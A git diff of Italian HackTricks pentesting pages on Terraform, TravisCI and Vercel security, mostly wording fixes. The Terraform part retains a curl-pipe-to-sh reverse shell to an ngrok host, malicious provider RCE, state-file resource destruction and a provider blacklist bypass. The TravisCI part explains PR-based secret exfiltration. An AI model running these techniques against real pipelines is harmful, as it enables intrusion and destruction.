```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Utilizzando un provider personalizzato** -Un attaccante potrebbe inviare un [provider personalizzato](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) e poi aggiungerlo al codice Terraform in un branch di funzionalità ([esempio da qui](https://alex.kaskaso.li/post/terraform-plan-rce)): +Un attaccante potrebbe inviare un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) e poi aggiungerlo al codice Terraform in un branch di funzionalità ([esempio da qui](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -124,7 +124,7 @@ value = nonsensitive(var.do_token) ``` ## Abusare dei file di stato di Terraform -Nel caso in cui tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, [**questa ricerca**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file: +Nel caso tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, [**questa ricerca**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file: ### Cancellazione delle risorse @@ -132,7 +132,7 @@ Ci sono 2 modi per distruggere le risorse: 1. **Inserire una risorsa con un nome casuale nel file di stato che punta alla vera risorsa da distruggere** -Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della vera risorsa indicato). Esempio dalla pagina precedente: +Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della vera risorsa indicata). Esempio dalla pagina precedente: ```json { "mode": "managed", @@ -148,13 +148,13 @@ Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà ( ] }, ``` -2. **Modifica la risorsa da eliminare in modo che non sia possibile aggiornarla (quindi verrà eliminata e ricreata)** +2. **Modifica la risorsa da eliminare in un modo che non sia possibile aggiornare (quindi verrà eliminata e ricreata)** Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì che terraform la elimini e la ricrei. ### RCE -È anche possibile [creare un provider personalizzato](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e semplicemente sostituire uno dei provider nel file di stato terraform con quello malevolo o aggiungere una risorsa vuota con il provider malevolo. Esempio dalla ricerca originale: +È anche possibile [creare un provider personalizzato](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e semplicemente sostituire uno dei provider nel file di stato di terraform con quello malevolo o aggiungere una risorsa vuota con il provider malevolo. Esempio dalla ricerca originale: ```json "resources": [ { @@ -169,7 +169,7 @@ Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì c ``` ### Sostituire il provider in blacklist -In caso tu incontri una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione. +Nel caso in cui ti trovi di fronte a una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione. ```terraform terraform { required_providers { @@ -180,7 +180,7 @@ version = "3.0.0" } } ``` -Poi puoi usare `external` come al solito. +Quindi puoi usare `external` come al solito. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] @@ -190,7 +190,7 @@ program = ["sh", "-c", "whoami"] ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offre una soluzione completa di scansione per l'Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC. +Snyk offre una soluzione completa di scansione per Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC. - **Caratteristiche:** - Scansione in tempo reale per vulnerabilità di sicurezza e problemi di conformità. @@ -208,7 +208,7 @@ snyk iac test /path/to/terraform/code **Checkov** è uno strumento di analisi statica del codice per l'infrastruttura come codice (IaC) e anche uno strumento di analisi della composizione del software (SCA) per immagini e pacchetti open source. -Scansiona l'infrastruttura cloud fornita utilizzando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) e rileva configurazioni errate di sicurezza e conformità utilizzando la scansione basata su grafi. +Scansiona l'infrastruttura cloud fornita utilizzando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), o [OpenTofu](https://opentofu.org/) e rileva configurazioni errate di sicurezza e conformità utilizzando la scansione basata su grafi. Esegue la [scansione dell'analisi della composizione del software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), che è una scansione di pacchetti open source e immagini per Vulnerabilità e Esposizioni Comuni (CVE). ```bash @@ -217,14 +217,14 @@ checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -Dalla [**documentazione**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice. +Dalla [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice. -- **conformità:** Assicurati che il codice implementato segua gli standard di sicurezza e i tuoi standard personalizzati -- **sviluppo guidato dal comportamento:** Abbiamo BDD per quasi tutto, perché non per IaC? -- **portabile:** basta installarlo da `pip` o eseguirlo tramite `docker`. Vedi [Installazione](https://terraform-compliance.com/pages/installation/) +- **compliance:** Assicurati che il codice implementato segua gli standard di sicurezza, i tuoi standard personalizzati +- **behaviour driven development:** Abbiamo BDD per quasi tutto, perché non per IaC? +- **portable:** basta installarlo da `pip` o eseguirlo tramite `docker`. Vedi [Installation](https://terraform-compliance.com/pages/installation/) - **pre-deploy:** valida il tuo codice prima che venga distribuito -- **facile da integrare:** può essere eseguito nella tua pipeline (o nei git hook) per garantire che tutte le distribuzioni siano validate. -- **separazione dei compiti:** puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile. +- **easy to integrate:** può essere eseguito nella tua pipeline (o nei git hooks) per garantire che tutte le distribuzioni siano validate. +- **segregation of duty:** puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile. > [!NOTE] > Sfortunatamente, se il codice utilizza alcuni provider a cui non hai accesso, non sarai in grado di eseguire il `terraform plan` e utilizzare questo strumento. @@ -235,7 +235,7 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -Dalla [**documentazione**](https://github.com/aquasecurity/tfsec): tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni. +Dalla [**docs**](https://github.com/aquasecurity/tfsec): tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni. - ☁️ Controlla le misconfigurazioni su tutti i principali (e alcuni minori) fornitori di cloud - ⛔ Centinaia di regole integrate @@ -244,10 +244,10 @@ Dalla [**documentazione**](https://github.com/aquasecurity/tfsec): tfsec utilizz - ↪️ Valuta le funzioni Terraform ad es. `concat()` - 🔗 Valuta le relazioni tra le risorse Terraform - 🧰 Compatibile con il Terraform CDK -- 🙅 Applica (e arricchisce) le politiche Rego definite dall'utente +- 🙅 Applica (e abbellisce) le politiche Rego definite dall'utente - 📃 Supporta più formati di output: lovely (predefinito), JSON, SARIF, CSV, CheckStyle, JUnit, testo, Gif. - 🛠️ Configurabile (tramite flag CLI e/o file di configurazione) -- ⚡ Molto veloce, in grado di scansionare rapidamente enormi repository +- ⚡ Molto veloce, capace di scansionare rapidamente enormi repository ```bash brew install tfsec tfsec /path/to/folder @@ -264,7 +264,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" Dalla [**documentazione**](https://github.com/tenable/terrascan): Terrascan è un analizzatore di codice statico per l'Infrastructure as Code. Terrascan ti consente di: -- Scansionare senza problemi l'infrastruttura come codice per configurazioni errate. +- Scansionare senza problemi l'infrastructure as code per configurazioni errate. - Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deriva della postura e consente di tornare a una postura sicura. - Rilevare vulnerabilità di sicurezza e violazioni di conformità. - Mitigare i rischi prima di provisionare l'infrastruttura cloud nativa. diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index 443c33e9e..6d67987d5 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,18 +1,18 @@ -# TravisCI Security +# Sicurezza di TravisCI {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## Cos'è TravisCI -**Travis CI** è un servizio di **integrazione continua** **hosted** o on **premises** utilizzato per costruire e testare progetti software ospitati su diverse **differenti piattaforme git**. +**Travis CI** è un servizio di **integrazione continua** **hosted** o on **premises** utilizzato per costruire e testare progetti software ospitati su diverse **piattaforme git**. {{#ref}} basic-travisci-information.md {{#endref}} -## Attacks +## Attacchi -### Triggers +### Attivatori Per lanciare un attacco, è necessario prima sapere come attivare una build. Per impostazione predefinita, TravisCI **attiverà una build su push e pull request**: @@ -20,33 +20,33 @@ Per lanciare un attacco, è necessario prima sapere come attivare una build. Per #### Cron Jobs -Se hai accesso all'applicazione web, puoi **impostare cron per eseguire la build**, questo potrebbe essere utile per la persistenza o per attivare una build: +Se hai accesso all'applicazione web, puoi **impostare crons per eseguire la build**, questo potrebbe essere utile per la persistenza o per attivare una build: ![](<../../images/image (243).png>) > [!NOTE] -> Sembra che non sia possibile impostare cron all'interno del `.travis.yml` secondo [questo](https://github.com/travis-ci/travis-ci/issues/9162). +> Sembra che non sia possibile impostare crons all'interno del `.travis.yml` secondo [questo](https://github.com/travis-ci/travis-ci/issues/9162). -### Third Party PR +### PR di terze parti -TravisCI per impostazione predefinita disabilita la condivisione delle variabili di ambiente con le PR provenienti da terze parti, ma qualcuno potrebbe abilitarlo e poi potresti creare PR per il repo ed esfiltrare i segreti: +TravisCI per impostazione predefinita disabilita la condivisione delle variabili d'ambiente con le PR provenienti da terze parti, ma qualcuno potrebbe abilitarlo e poi potresti creare PR per il repo ed esfiltrare i segreti: ![](<../../images/image (208).png>) -### Dumping Secrets +### Dumping dei segreti -Come spiegato nella pagina [**informazioni di base**](basic-travisci-information.md), ci sono 2 tipi di segreti. **Segreti delle variabili di ambiente** (che sono elencati nella pagina web) e **segreti crittografati personalizzati**, che sono memorizzati all'interno del file `.travis.yml` come base64 (nota che entrambi, essendo memorizzati in modo crittografato, finiranno come variabili di ambiente nelle macchine finali). +Come spiegato nella pagina [**informazioni di base**](basic-travisci-information.md), ci sono 2 tipi di segreti. I segreti delle **variabili d'ambiente** (che sono elencati nella pagina web) e i **segreti crittografati personalizzati**, che sono memorizzati all'interno del file `.travis.yml` come base64 (nota che entrambi, essendo memorizzati in modo crittografato, finiranno come variabili d'ambiente nelle macchine finali). -- Per **enumerare i segreti** configurati come **Variabili di Ambiente**, vai alle **impostazioni** del **progetto** e controlla l'elenco. Tuttavia, nota che tutte le variabili di ambiente del progetto impostate qui appariranno quando attivi una build. +- Per **enumerare i segreti** configurati come **variabili d'ambiente**, vai alle **impostazioni** del **progetto** e controlla l'elenco. Tuttavia, nota che tutte le variabili d'ambiente del progetto impostate qui appariranno quando attivi una build. - Per enumerare i **segreti crittografati personalizzati**, il miglior modo è **controllare il file `.travis.yml`**. -- Per **enumerare i file crittografati**, puoi controllare i **file `.enc`** nel repo, per righe simili a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` nel file di configurazione, o per **iv e chiavi crittografati** nelle **Variabili di Ambiente** come: +- Per **enumerare i file crittografati**, puoi cercare file **`.enc`** nel repo, per righe simili a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` nel file di configurazione, o per **iv e chiavi crittografate** nelle **variabili d'ambiente** come: ![](<../../images/image (81).png>) ### TODO: - Esempio di build con reverse shell in esecuzione su Windows/Mac/Linux -- Esempio di build che esfiltra l'ambiente codificato in base64 nei log +- Esempio di build che esfiltra l'env codificato in base64 nei log ### TravisCI Enterprise @@ -57,7 +57,7 @@ Se un attaccante si trova in un ambiente che utilizza **TravisCI enterprise** (m - compromettere altre macchine in esecuzione nella stessa rete? - compromettere nuove credenziali cloud? -## References +## Riferimenti - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index e412fea7a..ad2911e66 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -31,7 +31,7 @@ Puoi accedere alla chiave pubblica di un repo con: travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` -Poi, puoi utilizzare questa configurazione per **crittografare i segreti e aggiungerli al tuo `.travis.yaml`**. I segreti saranno **decrittografati quando viene eseguita la build** e accessibili nelle **variabili d'ambiente**. +Quindi, puoi utilizzare questa configurazione per **crittografare segreti e aggiungerli al tuo `.travis.yaml`**. I segreti saranno **decrittografati quando viene eseguita la build** e accessibili nelle **variabili d'ambiente**. ![](<../../images/image (139).png>) @@ -57,7 +57,7 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` -Nota che quando si cripta un file, 2 variabili di ambiente saranno configurate all'interno del repository, come ad esempio: +Nota che quando si crittografa un file, 2 variabili di ambiente saranno configurate all'interno del repository, come ad esempio: ![](<../../images/image (170).png>) @@ -67,8 +67,8 @@ Travis CI Enterprise è una **versione on-prem di Travis CI**, che puoi distribu **Travis CI Enterprise è composto da due parti principali:** -1. Servizi TCI **(o Servizi Core TCI)**, responsabili dell'integrazione con i sistemi di controllo versione, dell'autorizzazione delle build, della pianificazione dei lavori di build, ecc. -2. TCI **Worker** e immagini dell'ambiente di build (chiamate anche immagini OS). +1. I **servizi TCI** (o Servizi Core TCI), responsabili dell'integrazione con i sistemi di controllo versione, dell'autorizzazione delle build, della pianificazione dei lavori di build, ecc. +2. Il **Worker TCI** e le immagini dell'ambiente di build (chiamate anche immagini OS). **I servizi Core TCI richiedono quanto segue:** diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 5d18b102a..29e9825dc 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -4,9 +4,9 @@ ## Informazioni di base -In Vercel un **Team** è l'intero **ambiente** che appartiene a un cliente e un **progetto** è un'**applicazione**. +In Vercel, un **Team** è l'intero **ambiente** che appartiene a un cliente e un **progetto** è un'**applicazione**. -Per una revisione di hardening di **Vercel** è necessario richiedere un utente con **permesso di ruolo Visualizzatore** o almeno **permesso di visualizzazione del progetto sui progetti** da controllare (nel caso in cui sia necessario controllare solo i progetti e non anche la configurazione del Team). +Per una revisione di hardening di **Vercel**, è necessario richiedere un utente con **permesso di ruolo Visualizzatore** o almeno **permesso di visualizzazione del progetto sui progetti** da controllare (nel caso in cui sia necessario controllare solo i progetti e non anche la configurazione del Team). ## Impostazioni del progetto @@ -20,7 +20,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente - **Misconfigurazione:** Consente di trasferire il progetto a un altro team - **Rischio:** Un attaccante potrebbe rubare il progetto - **Elimina progetto** -- **Misconfigurazione:** Consente di eliminare il progetto +- **Misconfigurazione:** Consente di eliminare il progetto - **Rischio:** Eliminare il progetto --- @@ -39,7 +39,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente - **Rischio:** Vulnerabilità ad attacchi man-in-the-middle (MITM), compromettendo l'integrità e la riservatezza dei dati. - **Implementazione di DNSSEC** - **Misconfigurazione:** Mancata attivazione di DNSSEC o impostazioni DNSSEC errate. -- **Rischio:** Maggiore suscettibilità a spoofing DNS e attacchi di avvelenamento della cache. +- **Rischio:** Maggiore suscettibilità a spoofing DNS e attacchi di cache poisoning. - **Ambiente utilizzato per dominio** - **Misconfigurazione:** Cambiare l'ambiente utilizzato dal dominio in produzione. - **Rischio:** Esporre potenziali segreti o funzionalità che non dovrebbero essere disponibili in produzione. @@ -52,7 +52,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente #### Configurazioni di sicurezza: -- **Isolamento degli ambienti** +- **Isolamento dell'ambiente** - **Misconfigurazione:** Condivisione di variabili ambientali tra ambienti. - **Rischio:** Perdita di segreti di produzione negli ambienti di sviluppo o anteprima, aumentando l'esposizione. - **Accesso a ambienti sensibili** @@ -68,7 +68,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente #### Configurazioni di sicurezza: - **Esposizione di variabili sensibili** -- **Misconfigurazione:** Prefissare variabili sensibili con `NEXT_PUBLIC_`, rendendole accessibili dal lato client. +- **Misconfigurazione:** Prefissare variabili sensibili con `NEXT_PUBLIC_`, rendendole accessibili sul lato client. - **Rischio:** Esposizione di chiavi API, credenziali di database o altri dati sensibili al pubblico, portando a violazioni dei dati. - **Sensibile disabilitato** - **Misconfigurazione:** Se disabilitato (predefinito) è possibile leggere i valori dei segreti generati. @@ -105,7 +105,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente - **Rischio:** Accesso non autorizzato alle risorse del progetto, manipolazione dei dati o interruzioni del servizio. - **Mancanza di monitoraggio delle integrazioni** - **Misconfigurazione:** Mancata monitorizzazione e audit delle integrazioni di terze parti. -- **Rischio:** Rilevamento ritardato di integrazioni compromesse, aumentando l'impatto potenziale delle violazioni della sicurezza. +- **Rischio:** Rilevamento ritardato delle integrazioni compromesse, aumentando l'impatto potenziale delle violazioni della sicurezza. --- @@ -123,12 +123,12 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente **Bypass della protezione per l'automazione** - **Misconfigurazione:** Esporre il segreto di bypass pubblicamente o utilizzare segreti deboli. -- **Rischio:** Gli attaccanti possono bypassare le protezioni di distribuzione, accedendo e manipolando distribuzioni protette. +- **Rischio:** Gli attaccanti possono bypassare le protezioni della distribuzione, accedendo e manipolando distribuzioni protette. **Link condivisibili** -- **Misconfigurazione:** Condivisione di link indiscriminatamente o mancata revoca di link obsoleti. -- **Rischio:** Accesso non autorizzato a distribuzioni protette, bypassando autenticazione e restrizioni IP. +- **Misconfigurazione:** Condividere link indiscriminatamente o non revocare link obsoleti. +- **Rischio:** Accesso non autorizzato a distribuzioni protette, bypassando l'autenticazione e le restrizioni IP. **OPTIONS Allowlist** @@ -137,15 +137,15 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente **Protezione con password** -- **Misconfigurazione:** Utilizzo di password deboli o condivisione non sicura. +- **Misconfigurazione:** Utilizzare password deboli o condividerle in modo insicuro. - **Rischio:** Accesso non autorizzato alle distribuzioni se le password vengono indovinate o trapelate. -- **Nota:** Disponibile nel piano **Pro** come parte della **Protezione avanzata delle distribuzioni** per un costo aggiuntivo di $150/mese. +- **Nota:** Disponibile nel piano **Pro** come parte della **Protezione avanzata della distribuzione** per un costo aggiuntivo di $150/mese. **Eccezioni alla protezione della distribuzione** -- **Misconfigurazione:** Aggiunta di domini di produzione o sensibili all'elenco delle eccezioni inavvertitamente. +- **Misconfigurazione:** Aggiungere domini di produzione o sensibili all'elenco delle eccezioni inavvertitamente. - **Rischio:** Esposizione di distribuzioni critiche al pubblico, portando a perdite di dati o accesso non autorizzato. -- **Nota:** Disponibile nel piano **Pro** come parte della **Protezione avanzata delle distribuzioni** per un costo aggiuntivo di $150/mese. +- **Nota:** Disponibile nel piano **Pro** come parte della **Protezione avanzata della distribuzione** per un costo aggiuntivo di $150/mese. **IP fidati** @@ -157,7 +157,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente ### Funzioni -**Scopo:** Configurare funzioni serverless, comprese impostazioni di runtime, allocazione della memoria e politiche di sicurezza. +**Scopo:** Configurare funzioni serverless, comprese impostazioni di runtime, allocazione di memoria e politiche di sicurezza. #### Configurazioni di sicurezza: @@ -201,7 +201,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente ### Sicurezza -**Scopo:** Hub centrale per varie impostazioni di sicurezza relative all'accesso al progetto, protezione del codice sorgente e altro. +**Scopo:** Hub centrale per varie impostazioni relative alla sicurezza che influenzano l'accesso al progetto, la protezione del codice sorgente e altro. #### Configurazioni di sicurezza: @@ -215,9 +215,9 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente - **Misconfigurazione:** Consentire pull request non autorizzate senza revisioni adeguate. - **Rischio:** Codice malevolo può essere fuso nel codice sorgente, introducendo vulnerabilità o backdoor. -**Accesso sicuro al backend con federazione OIDC** +**Accesso sicuro al backend con OIDC Federation** -- **Misconfigurazione:** Configurazione errata dei parametri OIDC o utilizzo di URL di emittenti non sicuri. +- **Misconfigurazione:** Configurazione errata dei parametri OIDC o utilizzo di URL di emittenti insicuri. - **Rischio:** Accesso non autorizzato ai servizi backend attraverso flussi di autenticazione difettosi. **Politica di retention delle distribuzioni** @@ -272,7 +272,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente ### Protezione dallo skew -- **Misconfigurazione:** Questa protezione garantisce che l'applicazione client e server stiano sempre utilizzando la stessa versione, quindi non ci sono desincronizzazioni in cui il client utilizza una versione diversa dal server e quindi non si comprendono a vicenda. +- **Misconfigurazione:** Questa protezione garantisce che l'applicazione client e server stiano sempre utilizzando la stessa versione, quindi non ci siano desincronizzazioni in cui il client utilizza una versione diversa dal server e quindi non si comprendono a vicenda. - **Rischio:** Disabilitare questo (se abilitato) potrebbe causare problemi di DoS in nuove distribuzioni in futuro --- @@ -287,7 +287,7 @@ Per una revisione di hardening di **Vercel** è necessario richiedere un utente - **Misconfigurazione:** Consente di trasferire tutti i progetti a un altro team - **Rischio:** Un attaccante potrebbe rubare i progetti - **Elimina progetto** -- **Misconfigurazione:** Consente di eliminare il team con tutti i progetti +- **Misconfigurazione:** Consente di eliminare il team con tutti i progetti - **Rischio:** Eliminare i progetti --- @@ -323,9 +323,9 @@ Un **Gruppo di accesso** in Vercel è una raccolta di progetti e membri del team - **Over-Permissioning dei membri:** Assegnare ruoli con più permessi del necessario, portando a accesso o azioni non autorizzate. - **Assegnazioni di ruolo improprie:** Assegnare in modo errato ruoli che non si allineano con le responsabilità dei membri del team, causando escalation dei privilegi. -- **Mancanza di segregazione dei progetti:** Mancata separazione dei progetti sensibili, consentendo un accesso più ampio del previsto. +- **Mancanza di segregazione dei progetti:** Non separare i progetti sensibili, consentendo un accesso più ampio del previsto. - **Gestione insufficiente dei gruppi:** Non rivedere o aggiornare regolarmente i Gruppi di accesso, risultando in permessi di accesso obsoleti o inappropriati. -- **Definizioni di ruolo incoerenti:** Utilizzare definizioni di ruolo incoerenti o poco chiare tra diversi Gruppi di accesso, portando a confusione e lacune di sicurezza. +- **Definizioni di ruolo incoerenti:** Utilizzare definizioni di ruolo incoerenti o poco chiare tra diversi Gruppi di accesso, portando a confusione e lacune nella sicurezza. --- @@ -333,7 +333,7 @@ Un **Gruppo di accesso** in Vercel è una raccolta di progetti e membri del team #### Configurazioni di sicurezza: -- **Log Drains a terzi:** +- **Log Drains a terze parti:** - **Misconfigurazione:** Un attaccante potrebbe configurare un Log Drain per rubare i log - **Rischio:** Persistenza parziale @@ -344,18 +344,18 @@ Un **Gruppo di accesso** in Vercel è una raccolta di progetti e membri del team #### Configurazioni di sicurezza: - **Dominio email del team:** Quando configurato, questa impostazione invita automaticamente gli account personali Vercel con indirizzi email che terminano nel dominio specificato (ad es., `mydomain.com`) a unirsi al tuo team al momento della registrazione e nel dashboard. -- **Misconfigurazione:** +- **Misconfigurazione:** - Specificare il dominio email errato o un dominio scritto male nell'impostazione del dominio email del team. - Utilizzare un dominio email comune (ad es., `gmail.com`, `hotmail.com`) invece di un dominio specifico dell'azienda. - **Rischi:** - **Accesso non autorizzato:** Gli utenti con indirizzi email di domini non previsti potrebbero ricevere inviti a unirsi al tuo team. - **Esposizione dei dati:** Potenziale esposizione di informazioni sensibili del progetto a individui non autorizzati. -- **Ambiti Git protetti:** Ti consente di aggiungere fino a 5 ambiti Git al tuo team per impedire ad altri team Vercel di distribuire repository dall'ambito protetto. Più team possono specificare lo stesso ambito, consentendo l'accesso a entrambi i team. +- **Ambiti Git protetti:** Ti consente di aggiungere fino a 5 ambiti Git al tuo team per prevenire che altri team Vercel distribuiscano repository dall'ambito protetto. Più team possono specificare lo stesso ambito, consentendo l'accesso a entrambi i team. - **Misconfigurazione:** Non aggiungere ambiti Git critici all'elenco protetto. - **Rischi:** - **Distribuzioni non autorizzate:** Altri team potrebbero distribuire repository dagli ambiti Git della tua organizzazione senza autorizzazione. - **Esposizione della proprietà intellettuale:** Codice proprietario potrebbe essere distribuito e accessibile al di fuori del tuo team. -- **Politiche delle variabili ambientali:** Impone politiche per la creazione e la modifica delle variabili ambientali del team. In particolare, puoi imporre che tutte le variabili ambientali siano create come **Variabili Ambientali Sensibili**, che possono essere decrittografate solo dal sistema di distribuzione di Vercel. +- **Politiche delle variabili ambientali:** Impone politiche per la creazione e la modifica delle variabili ambientali del team. In particolare, puoi imporre che tutte le variabili ambientali siano create come **Variabili ambientali sensibili**, che possono essere decrittografate solo dal sistema di distribuzione di Vercel. - **Misconfigurazione:** Mantenere disabilitata l'applicazione delle variabili ambientali sensibili. - **Rischi:** - **Esposizione dei segreti:** Le variabili ambientali potrebbero essere visualizzate o modificate da membri del team non autorizzati. @@ -382,9 +382,9 @@ Concedere accesso ai log di audit a membri del team non autorizzati. --- -### Computazione sicura +### Compute sicuro -**Vercel Secure Compute** consente connessioni sicure e private tra le funzioni Vercel e gli ambienti backend (ad es., database) stabilendo reti isolate con indirizzi IP dedicati. Questo elimina la necessità di esporre pubblicamente i servizi backend, migliorando la sicurezza, la conformità e la privacy. +**Vercel Secure Compute** consente connessioni sicure e private tra le Funzioni Vercel e gli ambienti backend (ad es., database) stabilendo reti isolate con indirizzi IP dedicati. Questo elimina la necessità di esporre pubblicamente i servizi backend, migliorando la sicurezza, la conformità e la privacy. #### **Potenziali misconfigurazioni e rischi** @@ -399,16 +399,16 @@ Concedere accesso ai log di audit a membri del team non autorizzati. - **Rischio:** Accesso non autorizzato all'infrastruttura backend, connessioni sicure non riuscite e potenziali violazioni dei dati. 4. **Assegnazioni eccessive di progetti** - **Misconfigurazione:** Assegnare più progetti a una singola rete Secure Compute senza adeguata isolamento. -- **Rischio:** L'esposizione IP condivisa aumenta la superficie di attacco, potenzialmente consentendo a progetti compromessi di influenzare altri. +- **Rischio:** L'esposizione IP condivisa aumenta la superficie di attacco, consentendo potenzialmente a progetti compromessi di influenzare 